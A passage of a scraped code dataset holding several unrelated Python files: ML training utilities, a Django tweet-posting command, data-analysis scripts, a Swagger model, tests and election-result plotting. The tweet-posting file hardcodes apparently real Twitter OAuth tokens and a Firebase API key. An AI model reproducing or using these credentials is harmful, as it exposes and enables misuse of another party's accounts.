= self.levelFAKE\n self.levelFAKE+= 1\n\n if self.levelFAKE == 6:\n self.levelFAKE = 0\n return self.levelFAKE","sub_path":"Internet/web/service/rungame.py","file_name":"rungame.py","file_ext":"py","file_size_in_byte":10610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"319206215","text":"import time\nfrom collections import namedtuple\nimport sys\n\nimport numpy as np\nimport torch\nimport math\nimport torch.nn.functional as F\n\nfrom radam import RAdam\n\nimport sklearn.decomposition\n\n\ndef add_optimizer_arguments(parser):\n parser.add_argument(\n \"--optimizer\",\n choices=[\"radam\", \"adam\"],\n default=\"radam\",\n help=\"Choose the optimizer\"\n )\n parser.add_argument(\n \"--lr\",\n type=float,\n default=1e-3,\n help=\"Set the learning rate\"\n )\n parser.add_argument(\n \"--weight_decay\",\n type=float,\n default=0.01,\n help=\"Set the weight decay\"\n )\n\ndef get_optimizer(params, args):\n if args.optimizer == \"adam\":\n return torch.optim.Adam(params, lr=args.lr)\n elif args.optimizer == \"radam\":\n return RAdam(params, lr=args.lr, weight_decay=args.weight_decay)\n else:\n raise RuntimeError(\"Optimizer {} not available\".format(args.optimizer))\n\ndef add_transformer_arguments(parser):\n parser.add_argument(\n \"--attention_type\",\n type=str,\n choices=[\"full\", \"causal-linear\", \"reformer\"],\n default=\"causal-linear\",\n help=\"Attention model to be used\"\n )\n parser.add_argument(\n \"--n_layers\",\n type=int,\n default=1,\n help=\"Number of self-attention layers\"\n )\n parser.add_argument(\n \"--n_heads\",\n type=int,\n default=1,\n help=\"Number of attention heads\"\n )\n parser.add_argument(\n \"--d_query\",\n type=int,\n default=3,\n help=\"Dimension of the query, key, value embedding\"\n )\n parser.add_argument(\n \"--dropout\",\n type=float,\n default=0.0,\n help=\"Dropout to be used for transformer layers\"\n )\n parser.add_argument(\n \"--softmax_temp\",\n type=float,\n default=None,\n help=(\"Softmax temperature to be used for training \"\n \"(default: 1/sqrt(d_query))\")\n )\n parser.add_argument(\n \"--attention_dropout\",\n type=float,\n default=0.0,\n help=\"Dropout to be used for attention layers\"\n )\n parser.add_argument(\n \"--bits\",\n type=int,\n default=32,\n help=\"Number of planes to use for hashing for reformer\"\n )\n parser.add_argument(\n \"--chunk_size\",\n type=int,\n default=32,\n help=\"Number of queries in each block for reformer\"\n )\n parser.add_argument(\n \"--rounds\",\n type=int,\n default=4,\n help=\"Number of rounds of hashing for reformer\"\n )\n parser.add_argument(\n \"--unmasked_reformer\",\n action=\"store_false\",\n dest=\"masked\",\n help=\"If set the query can attend to itsself for reformer\"\n )\n\n return parser\n\ndef add_auxiliary_arguments(parser):\n parser.add_argument(\n \"--d_model\",\n type=int,\n default=2,\n help=\"Set the hidden size for RNN / LSTM\"\n )\n parser.add_argument(\n \"--plot_hidden\",\n type=bool,\n default=True,\n help=\"Plot hidden state?\"\n )\n parser.add_argument(\n \"--sequence_length\",\n type=int,\n default=128,\n help=\"Set the maximum sequence length\"\n )\n parser.add_argument(\n \"--n_classes\",\n type=int,\n default=3,\n help=\"Set the number of classes\"\n )\n\n parser.add_argument(\n \"--epochs\",\n type=int,\n default=1, # was 100\n help=\"How many epochs to train for\"\n )\n parser.add_argument(\n \"--batch_size\",\n type=int,\n default=32,\n help=\"How many samples to use together\"\n )\n parser.add_argument(\n \"--reduce_lr_at\",\n type=int,\n default=30,\n help=\"At this epoch divide the lr by 10\"\n )\n\n parser.add_argument(\n \"--save_to\",\n default=None,\n help=\"Set a file to save the models to.\"\n )\n parser.add_argument(\n \"--continue_from\",\n default=None,\n help=\"Load the model from a file\"\n )\n parser.add_argument(\n \"--save_frequency\",\n default=1,\n type=int,\n help=\"Save every that many epochs\"\n )\n parser.add_argument(\n \"--model_type\",\n default='lstm',\n choices=[\"transformer\", \"rnn\", \"lstm\"],\n type=str,\n help=\"Select transformer, rnn, or lstm\"\n )\n return parser\n\ndef print_transformer_arguments(args):\n print((\n \"Transformer Config:\\n\"\n \" Attention type: {attention_type}\\n\"\n \" Number of layers: {n_layers}\\n\"\n \" Number of heads: {n_heads}\\n\"\n \" Key/Query/Value dimension: {d_query}\\n\"\n \" Transformer layer dropout: {dropout}\\n\"\n \" Softmax temperature: {softmax_temp}\\n\"\n \" Attention dropout: {attention_dropout}\\n\"\n \" Number of hashing planes: {bits}\\n\"\n \" Chunk Size: {chunk_size}\\n\"\n \" Rounds: {rounds}\\n\"\n \" Masked: {masked}\"\n ).format(**vars(args)))\n\nclass EpochStats(object):\n def __init__(self, metric_names=[], freq=1, out=sys.stdout):\n self._start = time.time()\n self._samples = 0\n self._loss = 0\n self._metrics = [0]*len(metric_names)\n self._metric_names = metric_names\n self._out = out\n self._freq = freq\n self._max_line = 0\n\n def update(self, n_samples, loss, metrics=[]):\n self._samples += n_samples\n self._loss += loss*n_samples\n for i, m in enumerate(metrics):\n self._metrics[i] += m*n_samples\n\n def _get_progress_text(self):\n time_per_sample = (time.time()-self._start) / self._samples\n loss = self._loss / self._samples\n metrics = [\n m/self._samples\n for m in self._metrics\n ]\n text = \"Loss: {} \".format(loss)\n text += \" \".join(\n \"{}: {}\".format(mn, m)\n for mn, m in zip(self._metric_names, metrics)\n )\n if self._out.isatty():\n to_add = \" [{} sec/sample]\".format(time_per_sample)\n if len(text) + len(to_add) > self._max_line:\n self._max_line = len(text) + len(to_add)\n text += \" \" * (self._max_line-len(text)-len(to_add)) + to_add\n else:\n text += \" time: {}\".format(time_per_sample)\n return text\n\n def progress(self):\n if self._samples < self._freq:\n return\n text = self._get_progress_text()\n if self._out.isatty():\n print(\"\\r\" + text, end=\"\", file=self._out)\n else:\n print(text, file=self._out, flush=True)\n self._loss = 0\n self._samples = 0\n self._last_progress = 0\n for i in range(len(self._metrics)):\n self._metrics[i] = 0\n self._start = time.time()\n\n def finalize(self):\n self._freq = 1\n self.progress()\n if self._out.isatty():\n print(\"\", file=self._out)\n\ndef load_model(saved_file, model, optimizer, device):\n data = torch.load(saved_file, map_location=device)\n model.load_state_dict(data[\"model_state\"])\n optimizer.load_state_dict(data[\"optimizer_state\"])\n epoch = data[\"epoch\"]\n return epoch\n\ndef save_model(save_file, model, optimizer, epoch):\n torch.save(\n dict(\n model_state=model.state_dict(),\n optimizer_state=optimizer.state_dict(),\n epoch=epoch\n ),\n save_file.format(epoch)\n )\n\ndef loss_fn(y, y_hat, loss_mask):\n y_hat = y_hat.transpose(1, 0).contiguous()\n L, N, C = y_hat.shape\n l = torch.nn.functional.cross_entropy(\n y_hat.view(L*N, C),\n y.contiguous().view(L*N),\n reduction=\"none\"\n ).view(L, N)\n # this means longer sequences have higher weight but it sounds ok\n l = (loss_mask * l).mean() / loss_mask.mean()\n accuracy = ((y == y_hat.argmax(dim=-1)).float() * loss_mask).mean() / loss_mask.mean()\n return l, accuracy.item()\n\ndef train(model, optimizer, dataloader, device):\n model.train()\n stats = EpochStats([\"accuracy\"])\n for i, (x, y, m) in zip(range(100), dataloader):\n x = x.to(device).t()\n y = y.to(device).t()\n m = m.to(device).t()\n optimizer.zero_grad()\n y_hat = model(x)\n l, acc = loss_fn(y, y_hat, m)\n l.backward()\n optimizer.step()\n stats.update(x.shape[1], l.item(), [acc])\n stats.progress()\n stats.finalize()\n\ndef evaluate(model, dataloader, device, return_accuracy=False):\n model.eval()\n total_loss = 0\n total_acc = 0\n total_samples = 0\n\n with torch.no_grad():\n for i, (x, y, m) in zip(range(20), dataloader):\n x = x.to(device).t()\n y = y.to(device).t()\n m = m.to(device).t()\n y_hat = model(x)\n l, acc = loss_fn(y, y_hat, m)\n total_loss += x.shape[1] * l.item()\n total_acc += x.shape[1] * acc\n total_samples += x.shape[1]\n print(\n \"Testing =>\",\n \"Loss:\",\n total_loss/total_samples,\n \"Accuracy:\",\n total_acc/total_samples\n )\n if return_accuracy:\n return total_acc/total_samples\n else:\n return total_loss/total_samples\n\ndef extract_hidden_state(model, x, device):\n y_hat = model(x)\n return model.hidden_state, y_hat\n\nimport matplotlib.pyplot as plt\ndef plot_hidden_state_2d(points, pca=False, arrow_size=0.000, annotate=True):\n \"\"\"\n points is seq_len x hidden_size\n \"\"\"\n if pca:\n PCA = sklearn.decomposition.PCA(n_components=2)\n x = PCA.fit_transform(points)\n else:\n x = points[:,:2] # Truncate to first two dims\n plt.clf()\n for i in range(len(points) - 1):\n px = points[i][0]\n py = points[i][1]\n pdx = points[i+1][0] - px\n pdy = points[i+1][1] - py\n if i == 0:\n plt.plot(px, py, 'ro')\n plt.arrow(px, py, pdx, pdy, head_width=arrow_size, head_length=arrow_size, width=min(0.001, 0.01 * math.sqrt(pdx**2+pdy**2)))\n if annotate:\n plt.annotate(str(i+1), (px+pdx, py+pdy))\n plt.show()\n\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":10093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"422067143","text":"import json\nfrom urllib.request import urlopen, HTTPError\nimport requests\n\nimport tweepy\nfrom django.conf import settings\nfrom django.core.management.base import BaseCommand\n\n\nclass Command(BaseCommand):\n channels = None\n channel_list_json = None\n default_channels = ['La 1', 'La 2', 'Antena 3', 'Cuatro', 'Telecinco', 'laSexta', 'Teledeporte', 'Clan TVE', 'Canal 24 horas', 'Nova', 'Neox', 'Mega', 'FDF Telecinco', 'Energy', 'Divinity', 'Boing', 'Disney Channel', 'Intereconomía TV', 'Paramount Channel', '13tv', 'Discovery MAX', 'Atreseries', 'Be Mad']\n image_url = 'https://programacion-tv.elpais.com/%s'\n\n dynamic_link_json = \"{\\\"dynamicLinkInfo\\\": {\\\"dynamicLinkDomain\\\": \\\"e2ays.app.goo.gl\\\",\\\"link\\\": \\\"https://pelisdeldia.com/?programId=%s\\\",\\\"androidInfo\\\": {\\\"androidPackageName\\\": \\\"com.csalguero.onlymovies\\\",\\\"androidFallbackLink\\\": \\\"https://play.google.com/store/apps/details?id=com.csalguero.onlymovies\\\"},\\\"iosInfo\\\": {\\\"iosBundleId\\\": \\\"com.csalguero.onlymovies\\\",\\\"iosFallbackLink\\\": \\\"https://itunes.apple.com/es/app/apple-store/id1235072016\\\",\\\"iosAppStoreId\\\": \\\"1235072016\\\"}},\\\"suffix\\\": {\\\"option\\\": \\\"SHORT\\\"}}\"\n\n def add_arguments(self, parser):\n parser.add_argument('parameter', nargs='+', type=str)\n\n# programId\n# title\n# time\n# channel\n# imageUrl\n def handle(self, *args, **options):\n self.stdout.write('enter command')\n parameter_str = options['parameter'][0]\n self.stdout.write('parameters: %s' % parameter_str)\n parameter_json = json.loads(parameter_str)\n title = parameter_json['TITULO']\n id_programa = parameter_json['EVENTO']\n channelName = parameter_json['channelName']\n start_time = parameter_json['HORA_INICIO']\n if 'tweetImage' in parameter_json and len(parameter_json[\"tweetImage\"]) != 0:\n tweet_image = parameter_json['tweetImage']\n\n parameter_json[\"URL\"] += '&id=%s' % id_programa\n\n print('generating link')\n bodyDict = json.loads(self.dynamic_link_json)\n link = bodyDict[\"dynamicLinkInfo\"][\"link\"] % id_programa\n bodyDict[\"dynamicLinkInfo\"][\"link\"] = link\n link = self.generate_dynamic_link(json.dumps(bodyDict))\n\n tweet = '%s, a las %s, en %s. %s.' % (title, start_time, channelName, link)\n self.post_tweet(tweet_image, tweet)\n\n def get_twitter_api(self, cfg):\n auth = tweepy.OAuthHandler(cfg['consumer_key'], cfg['consumer_secret'])\n auth.set_access_token(cfg['access_token'], cfg['access_token_secret'])\n return tweepy.API(auth)\n\n def post_tweet(self, image_url, message):\n print('posting tweet')\n cfg = {\n \"consumer_key\": \"nQCmiZtepio10sh2SMAQKIqYx\",\n \"consumer_secret\": \"0WdgAt3t80YUITbsWG0oPAJPHtRxHmZVetiNeBH9YJZU9m8IMn\",\n \"access_token\": \"862601540980412416-XHwxuyIbdlhDK55MqwnYAPr4P7UQCQh\",\n \"access_token_secret\": \"WfUPb0DkRlF9ftPz1lcxG1aZzwZawDeJQNmCgDxR3hlpj\"\n }\n\n api = self.get_twitter_api(cfg)\n\n filename = settings.TMP_DIR + 'temp.jpg'\n try:\n response = urlopen(image_url)\n with open(filename, \"wb\") as imgFile:\n imgFile.write(response.read())\n\n status = api.update_with_media(filename, status=message)\n print(status)\n except HTTPError:\n print('image downloading failed, default tweet')\n status = api.update_status(status=message)\n print(status)\n\n def generate_dynamic_link(self, body):\n url = \"https://firebasedynamiclinks.googleapis.com/v1/shortLinks?key=AIzaSyBslo51LLKYhjKCS9rlrrCoi7HvE3HbhJw\"\n headers = {\n 'Content-Type': 'application/json',\n }\n data = body\n\n r = requests.post(url, headers=headers, data=data)\n print(r.status_code)\n print(r.json())\n if r.status_code == 200:\n result = r.json()\n return result['shortLink']\n else:\n return \"\"\n","sub_path":"alarms/management/commands/post_tweet.py","file_name":"post_tweet.py","file_ext":"py","file_size_in_byte":3989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"526144035","text":"#!/usr/bin/env python\r\n# coding: utf-8\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom optimize import optimized_df\r\n\r\n\r\ndef kirilimli_frekans(yataydf, freqdf, cross_filter,df_resp_quest):\r\n # worksheet = writer.sheets[\"sheet1\"]\r\n result = [] # append edilecek boş bir liste yaratılıyor.\r\n resultg = []\r\n singlekolon = []\r\n for i in df_resp_quest[\"ColumnName\"].unique():\r\n j = df_resp_quest[df_resp_quest[\"ColumnName\"] == i][\"QType\"].unique()[0]\r\n\r\n if j in [\"SelectRadioButton\"] and i in yataydf.columns :\r\n print(i, j)\r\n yataydf.columns = yataydf.columns.astype(str)\r\n \r\n fgabsolut = pd.crosstab(\r\n yataydf[i], yataydf[cross_filter], margins=True, margins_name=\"Toplam\")\r\n fgpercentages = pd.crosstab(yataydf[i], yataydf[cross_filter])\r\n print(fgabsolut)\r\n absolut_counter = int(fgabsolut.shape[0]+3)\r\n percetages_counter = int(fgpercentages.shape[0]+3)\r\n print(absolut_counter, percetages_counter)\r\n print(fgpercentages.apply(lambda r: round(r/r.sum(), 3), axis=0))\r\n singlekolon.append(i)\r\n\r\n result.append(fgabsolut)\r\n resultg.append(fgpercentages.apply(lambda r: round(r/r.sum(), 3), axis=0))\r\n\r\n elif j in [\"SelectCheckBox\", \"SelectComboBox\"] and i in yataydf.columns :\r\n pass\r\n # pivot ile multi responselar value adedi kadar açılıp mp için kırılım verilebilir ?\r\n \r\n fn = pd.concat(result, axis=0, sort=True,keys=singlekolon)\r\n fng = pd.concat(resultg, axis=0, sort=True,keys=singlekolon)\r\n # print(fn)\r\n fn.to_csv(r'C:\\apps\\{}.csv'.format(\"fn\"), encoding='utf-8-sig',\r\n header=True, index=True, sep=';', mode='w')\r\n fng.to_csv(r'C:\\apps\\{}.csv'.format(\"fng\"), encoding='utf-8-sig',\r\n header=True, index=True, sep=';', mode='w')\r\n \r\n return(yataydf)\r\n","sub_path":"cross_freq.py","file_name":"cross_freq.py","file_ext":"py","file_size_in_byte":1948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"119893263","text":"# coding: utf-8\n\n\"\"\"\n VisWiz.io API Documentation\n\n This SDK allows you to query and create new projects, builds or images within the VisWiz service. # noqa: E501\n\n OpenAPI spec version: 1.1.0\n Contact: support@viswiz.io\n Generated by: https://github.com/swagger-api/swagger-codegen.git\n\"\"\"\n\n\nimport pprint\nimport re # noqa: F401\n\nimport six\n\n\nclass Notifications(object):\n \"\"\"NOTE: This class is auto generated by the swagger code generator program.\n\n Do not edit the class manually.\n \"\"\"\n\n \"\"\"\n Attributes:\n swagger_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n swagger_types = {\n 'email_enabled': 'bool',\n 'slack_enabled': 'bool',\n 'slack_url': 'str'\n }\n\n attribute_map = {\n 'email_enabled': 'emailEnabled',\n 'slack_enabled': 'slackEnabled',\n 'slack_url': 'slackURL'\n }\n\n def __init__(self, email_enabled=None, slack_enabled=None, slack_url=None): # noqa: E501\n \"\"\"Notifications - a model defined in Swagger\"\"\" # noqa: E501\n\n self._email_enabled = None\n self._slack_enabled = None\n self._slack_url = None\n self.discriminator = None\n\n if email_enabled is not None:\n self.email_enabled = email_enabled\n if slack_enabled is not None:\n self.slack_enabled = slack_enabled\n if slack_url is not None:\n self.slack_url = slack_url\n\n @property\n def email_enabled(self):\n \"\"\"Gets the email_enabled of this Notifications. # noqa: E501\n\n Controls if email reports are sent on new builds # noqa: E501\n\n :return: The email_enabled of this Notifications. # noqa: E501\n :rtype: bool\n \"\"\"\n return self._email_enabled\n\n @email_enabled.setter\n def email_enabled(self, email_enabled):\n \"\"\"Sets the email_enabled of this Notifications.\n\n Controls if email reports are sent on new builds # noqa: E501\n\n :param email_enabled: The email_enabled of this Notifications. # noqa: E501\n :type: bool\n \"\"\"\n\n self._email_enabled = email_enabled\n\n @property\n def slack_enabled(self):\n \"\"\"Gets the slack_enabled of this Notifications. # noqa: E501\n\n Controls if Slack notifications are sent on new builds # noqa: E501\n\n :return: The slack_enabled of this Notifications. # noqa: E501\n :rtype: bool\n \"\"\"\n return self._slack_enabled\n\n @slack_enabled.setter\n def slack_enabled(self, slack_enabled):\n \"\"\"Sets the slack_enabled of this Notifications.\n\n Controls if Slack notifications are sent on new builds # noqa: E501\n\n :param slack_enabled: The slack_enabled of this Notifications. # noqa: E501\n :type: bool\n \"\"\"\n\n self._slack_enabled = slack_enabled\n\n @property\n def slack_url(self):\n \"\"\"Gets the slack_url of this Notifications. # noqa: E501\n\n The Slack webhook URL to use for sending notifications # noqa: E501\n\n :return: The slack_url of this Notifications. # noqa: E501\n :rtype: str\n \"\"\"\n return self._slack_url\n\n @slack_url.setter\n def slack_url(self, slack_url):\n \"\"\"Sets the slack_url of this Notifications.\n\n The Slack webhook URL to use for sending notifications # noqa: E501\n\n :param slack_url: The slack_url of this Notifications. # noqa: E501\n :type: str\n \"\"\"\n\n self._slack_url = slack_url\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n\n for attr, _ in six.iteritems(self.swagger_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n result[attr] = value\n\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n return pprint.pformat(self.to_dict())\n\n def __repr__(self):\n \"\"\"For `print` and `pprint`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, Notifications):\n return False\n\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other\n","sub_path":"viswiz_sdk/models/notifications.py","file_name":"notifications.py","file_ext":"py","file_size_in_byte":5019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"445131958","text":"SOURCE = \"source\"\nTARGET = \"target\"\nDB_NAME = \"db_name\"\nPROGRAM_ID = \"program_id\"\nSCHEMA = \"schema\"\nTABLE = \"table\"\nCOLS = \"cols\"\nVALUES = \"values\"\nSTAGE = \"stage\"\nGA = \"ga\"\nJSON_URL = \"json_url\"\nQUERY = \"query\"\nTARGET_FILE_PATH = \"target_file_path\"","sub_path":"Projects/PycharmProjects/Nagesh/enterprise-data-platform/app/constants/config_constants.py","file_name":"config_constants.py","file_ext":"py","file_size_in_byte":249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"383900096","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import unicode_literals\n\nimport os\nimport unittest\nimport tempfile\nfrom io import BytesIO\nfrom PIL import Image\n\nfrom flask_thumbnails.storage_backends import FilesystemStorageBackend\n\n\nclass FilesystemStorageBackendTestCase(unittest.TestCase):\n def setUp(self):\n image = Image.new('RGB', (100, 100), 'black')\n tmp_file = tempfile.NamedTemporaryFile(suffix='.jpg')\n image.save(tmp_file)\n tmp_file.seek(0)\n\n self.tmp_file = tmp_file\n self.backend = FilesystemStorageBackend()\n\n def test_read(self):\n image = Image.open(BytesIO(self.backend.read(self.tmp_file.name)))\n image.load()\n self.assertEqual(image.size, (100, 100))\n\n def test_exists(self):\n self.assertTrue(self.backend.exists(os.path.join(os.getcwd(), 'setup.py')))\n self.assertFalse(self.backend.exists(os.path.join(os.getcwd(), 'stup.py')))\n\n def test_save(self):\n with tempfile.NamedTemporaryFile() as tmp_file:\n self.backend.save(tmp_file.name, b'123')\n self.assertTrue(os.path.exists(tmp_file.name))\n\n def tearDown(self):\n self.tmp_file.close()\n","sub_path":"tests/storage_backends_tests.py","file_name":"storage_backends_tests.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"170142284","text":"import os\nimport re\nimport sys\nfrom os.path import join, exists\n\nfrom robot import run\n\nimport hta2\nfrom hta2.utils import copy\nfrom hta2.run import run_project\nfrom hta2.core.exceptions import UsageError\nfrom hta2.core.management.base import BaseCommand\nfrom hta2.core.management.paramshandler import ParamsHandler\n\n\nclass Command(BaseCommand):\n\n def syntax(self):\n return \"[-option]\"\n\n def short_desc(self):\n return \"Run project with jenjins\"\n\n def long_desc(self):\n return \"Run project with jenkins. \\n \\\n If y don't want to wrirte result to tcms, add --notcms. \\n \\\n Default is writting.\"\n\n def add_options(self, parser):\n parser.add_option('--notcms', action='store_true', dest='no_tcms',\n help='Whether write result to tcms in real-time. \\\n default is writting.')\n\n def run(self, args, opts):\n params = ParamsHandler()\n log_level = 'DEBUG'\n noncritical = ['noncritical']\n exclude_tag = ['notready']\n cases_path = params.cases_path\n listener = params.tcms_listener\n case_tags = params.case_tags\n output_dir = params.result_path\n if not opts.no_tcms:\n run(cases_path,\n loglevel=log_level,\n include=case_tags,\n exclude=exclude_tag,\n noncritical=noncritical,\n outputdir=output_dir,\n listener=listener)\n else:\n run(cases_path,\n loglevel=log_level,\n include=case_tags,\n exclude=exclude_tag,\n outputdir=output_dir,\n noncritical=noncritical)\n\n\nif __name__ == '__main__':\n pass\n","sub_path":"automation/runwithjenkins.py","file_name":"runwithjenkins.py","file_ext":"py","file_size_in_byte":1758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"107532772","text":"from ._C_netket.stats import *\n\n\ndef subtract_mean(x, axis=None, dtype=None, mean_out=None):\n \"\"\"\n Subtracts the mean of the input array over all but the last dimension\n and over all MPI processes from each entry.\n\n Args:\n axis: Axis or axes along which the means are computed. The default is to\n compute the mean of the flattened array.\n dtype: Type to use in computing the mean\n mean_out: pre-allocated array to store the mean\n \"\"\"\n x_mean = mean(x, axis=axis, dtype=dtype, out=mean_out)\n\n x -= x_mean\n\n return x\n\n\nfrom mpi4py import MPI\nimport numpy as _np\n\n_MPI_comm = MPI.COMM_WORLD\n\n_n_nodes = _MPI_comm.Get_size()\n\n\ndef mean(a, axis=None, dtype=None, out=None):\n \"\"\"\n Compute the arithmetic mean along the specified axis and over MPI processes.\n\n Returns the average of the array elements. The average is taken over the flattened array by default,\n otherwise over the specified axis. float64 intermediate and return values are used for integer inputs.\n \"\"\"\n\n out = _np.mean(a, axis=axis, dtype=None, out=out)\n\n _MPI_comm.Allreduce(MPI.IN_PLACE, out.reshape(-1), op=MPI.SUM)\n\n out /= float(_n_nodes)\n\n return out\n","sub_path":"netket/stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"164885977","text":"import os\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom matplotlib import pyplot as plt\r\n\r\nDATA_PATH = 'C:\\\\Users\\\\Meir\\\\PycharmProjects\\\\Stat_Lab\\\\Week_1'\r\n\r\ndf_sep_raw = pd.read_csv(os.path.join(DATA_PATH, r'votes per city 2019b.csv'), encoding='iso-8859-8',\r\n index_col='שם ישוב').sort_index()\r\n\r\n\r\ndef invalid_percentages(df):\r\n \"\"\"\r\n A function that plots the percentages of invalid votes of the total votes by city\r\n :param df: The dataframe containing the election data.\r\n :return: None.\r\n \"\"\"\r\n part_1_1 = df[['פסולים', 'מצביעים']]\r\n part_1_1['pct_invalid'] = part_1_1['פסולים'] / part_1_1['מצביעים']\r\n\r\n # Find the city with the largest percentage of disqualified votes.\r\n city = part_1_1.nlargest(1, 'pct_invalid')\r\n print(\"The city with the largest percentage of disqualified votes is: \" + city.index[0] + \" with: \" +\r\n str(round(city['pct_invalid'][city.index[0]] * 100, 3)) + \"% of its total votes disqualified.\")\r\n\r\n plt.hist(part_1_1['pct_invalid'], 100, color='b')\r\n plt.xlabel(\"Share of invalid votes\")\r\n plt.ylabel(\"Number of cities with X percentage of invalid votes\")\r\n plt.title(\"Bar chart of invalid votes\")\r\n plt.show()\r\n\r\n\r\ndef two_city_hist(df, city1, city2, above_threshold=True, threshold=0.0325):\r\n \"\"\"\r\n A function that compares voting patterns in 2 cities.\r\n :param df: The dataframe containing the election data.\r\n :param city1: The first city.\r\n :param city2: The second city.\r\n :param above_threshold: A boolean parameter whether to include all parties or only those that passed the threshold.\r\n :param threshold: The threshold to pass if above_threshold is True. Default is 3.25%.\r\n :return: None.\r\n \"\"\"\r\n # Filters the dataframe to only include the columns representing parties\r\n parties_only = df[[df.keys()[i] for i in range(6, len(df.keys()))]]\r\n # Calculates the percentage of valid votes received by each party\r\n par = parties_only.sum().div(df['כשרים'].sum().sum()).sort_values(ascending=False)\r\n if above_threshold:\r\n # Selects only those that passed the threshold\r\n par = par[par > threshold]\r\n\r\n # Calculates the percentages of votes per party in each of the chosen cities\r\n city1_res = df.loc[city1, par.keys()] / df['כשרים'][city1]\r\n city2_res = df.loc[city2, par.keys()] / df['כשרים'][city2]\r\n\r\n width = 0.3\r\n fig, ax = plt.subplots()\r\n city1_bar = ax.bar(np.arange(len(par.keys())), list(city1_res), width, color='b')\r\n city2_bar = ax.bar(np.arange(len(par.keys())) + width, list(city2_res), width, color='r')\r\n ax.set_xticks(np.arange(len(par.keys())))\r\n ax.set_xticklabels(name[::-1] for name in par.keys())\r\n ax.legend((city1_bar[0], city2_bar[0]), (city1[::-1], city2[::-1]))\r\n ax.set_xlabel(\"Votes for each party\" + (\"(that passed the threshold)\" if above_threshold else \"\"))\r\n ax.set_ylabel(\"Share of votes each party received in each city\")\r\n ax.set_title(\"Voting pattern comparison of {} and {}\".format(city1[::-1], city2[::-1]))\r\n plt.show()\r\n\r\n\r\ndef multinomial_distance(df, is_min=True, closed_envelopes=True):\r\n \"\"\"\r\n A function that calculates the distance between each city/town and the whole country, according the the\r\n quadratic function provided in the exercise description.\r\n :param df: A dataframe containing the election data.\r\n :param is_min: A boolean parameter whether to plot the city with the min or max distance.\r\n :param closed_envelopes: A boolean parameter whether to include the 'מעטפות חיצוניות' or not.\r\n :return: None.\r\n \"\"\"\r\n # Filters the dataframe to only include the columns representing parties\r\n parties_only = df[[df.keys()[i] for i in range(6, len(df.keys()))]]\r\n # Calculates the percentage of valid votes received by each party\r\n par = parties_only.sum().div(df['כשרים'].sum().sum()).sort_values(ascending=False)\r\n\r\n # Creates a dictionary where the key is the city name and the value is the distance between said city and the\r\n # whole country, as per the provided function in the exercise description\r\n distance_dict = {city: ((parties_only.loc[city] / df_sep_raw['כשרים'][city] - parties_only.sum() /\r\n df_sep_raw['כשרים'].sum()) ** 2).sum() for city in df_sep_raw.index}\r\n\r\n # Since the smallest 'distance' is achieved by the 'מעטפות חיצוניות', we choose the actual city/town with the\r\n # smallest distance\r\n if not closed_envelopes:\r\n distance_dict.pop('מעטפות חיצוניות')\r\n\r\n if is_min:\r\n city = min(distance_dict, key=distance_dict.get)\r\n else:\r\n city = max(distance_dict, key=distance_dict.get)\r\n\r\n print(\"The city/town with the {} 'distance score' from the countrywide voting pattern is: {}\".format(\r\n \"minimum\" if is_min else \"maximum\", city))\r\n print(\"The 'distance score' of {} from the country as a whole is {}\".format(city, distance_dict[city]))\r\n\r\n # Calculates the percentages of votes per party in each of the chosen city\r\n city_res = df.loc[city, par.keys()] / df['כשרים'][city]\r\n\r\n width = 0.3\r\n fig, ax = plt.subplots()\r\n city_bar = ax.bar(np.arange(len(par.keys())), list(city_res), width, color='b')\r\n all_bar = ax.bar(np.arange(len(par.keys())) + width, list(par), width, color='r')\r\n ax.set_xticks(np.arange(len(par.keys())))\r\n ax.set_xticklabels([name[::-1] for name in par.keys()], rotation='vertical')\r\n ax.legend((city_bar[0], all_bar[0]), (city[::-1], 'ישראל'[::-1]))\r\n ax.set_xlabel(\"Full party list\")\r\n ax.set_ylabel(\"Share of per party in {} and {}\".format(city[::-1], 'ישראל'[::-1]))\r\n ax.set_title(\"Voting pattern comparison of {} and {}\".format(city[::-1], 'ישראל'[::-1]))\r\n plt.show()\r\n\r\n\r\n### To Run Code: uncomment the relevant function call and run program. ###\r\n\r\n### Question 1 ###\r\ninvalid_percentages(df_sep_raw)\r\n\r\n### Question 2 ###\r\ntwo_city_hist(df_sep_raw, 'ירושלים', 'חיפה')\r\ntwo_city_hist(df_sep_raw, 'רמת גן', 'גבעתיים')\r\ntwo_city_hist(df_sep_raw, 'תל אביב - יפו', 'בני ברק')\r\n\r\n### Question 3 ###\r\nmultinomial_distance(df_sep_raw) # 